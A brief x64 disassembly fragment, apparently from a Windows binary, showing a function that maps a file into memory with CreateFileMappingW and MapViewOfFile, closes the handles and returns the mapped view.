call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
test rax, rax
je 0x1400107ae
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea edx, [rbx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret